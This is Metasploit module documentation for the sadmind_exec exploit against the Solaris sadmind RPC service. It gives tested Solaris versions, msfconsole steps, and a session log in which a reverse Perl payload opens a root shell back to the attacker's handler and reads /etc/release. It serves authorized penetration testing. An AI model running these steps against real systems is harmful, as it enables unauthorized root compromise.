cgranleese-r7
73 lines
2.1 KiB
Markdown
73 lines
2.1 KiB
Markdown
## Vulnerable Application
|
|
|
|
This exploit targets a weakness in the default security settings of
|
|
the Sun Solstice AdminSuite distributed system administration daemon
|
|
(sadmind) RPC application. This server is installed and enabled by
|
|
default on most versions of the Solaris operating system.
|
|
|
|
Vulnerable systems include Solaris 2.7, 8, and 9.
|
|
|
|
This module has been successfully tested on:
|
|
|
|
* Solaris 8 02/00 (x86);
|
|
* Solaris 8u1 06/00 (x86);
|
|
* Solaris 8u2 10/00 (x86);
|
|
* Solaris 8u3 01/01 (x86);
|
|
* Solaris 8u4 04/01 (x86);
|
|
* Solaris 9u2 12/02 (x86).
|
|
|
|
|
|
## Verification Steps
|
|
|
|
1. Start `msfconsole`
|
|
1. Do: `use exploit/solaris/sunrpc/sadmind_exec`
|
|
1. Do: `set rhosts [rhost]`
|
|
1. Do: `exploit`
|
|
1. You should get a new session as the `root` user.
|
|
|
|
|
|
## Options
|
|
|
|
### HOSTNAME
|
|
|
|
Remote hostname. The hostname will be detected automatically by default;
|
|
however, using the automatically detected hostname will fail if the system
|
|
hostname was changed after the sadmind service was started.
|
|
|
|
### GID
|
|
|
|
GID to emulate (default: `0`)
|
|
|
|
### UID
|
|
|
|
UID to emulate (default: `0`)
|
|
|
|
|
|
## Scenarios
|
|
|
|
### Solaris 8u1 06/00 s28x_u1wos_08 INTEL (x86)
|
|
|
|
```
|
|
msf > use exploit/solaris/sunrpc/sadmind_exec
|
|
msf exploit(solaris/sunrpc/sadmind_exec) > set rhosts 192.168.200.148
|
|
rhosts => 192.168.200.148
|
|
msf exploit(solaris/sunrpc/sadmind_exec) > set payload cmd/unix/reverse_perl
|
|
payload => cmd/unix/reverse_perl
|
|
msf exploit(solaris/sunrpc/sadmind_exec) > run
|
|
[*] Started reverse TCP handler on 192.168.200.130:4444
|
|
[*] 192.168.200.148:111 - Attempting to determine hostname
|
|
[*] 192.168.200.148:111 - Found hostname: unknown
|
|
[*] 192.168.200.148:111 - Sending payload (234 bytes)
|
|
[+] 192.168.200.148:111 - Exploit did not give us an error, this is good.
|
|
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.148:32810) at 2025-04-21 01:38:08 -0400
|
|
|
|
id
|
|
uid=0(root) gid=0(root)
|
|
uname -a
|
|
SunOS unknown 5.8 Generic_108529-01 i86pc i386 i86pc
|
|
cat /etc/release
|
|
Solaris 8 6/00 s28x_u1wos_08 INTEL
|
|
Copyright 2000 Sun Microsystems, Inc. All Rights Reserved.
|
|
Assembled 28 April 2000
|
|
```
|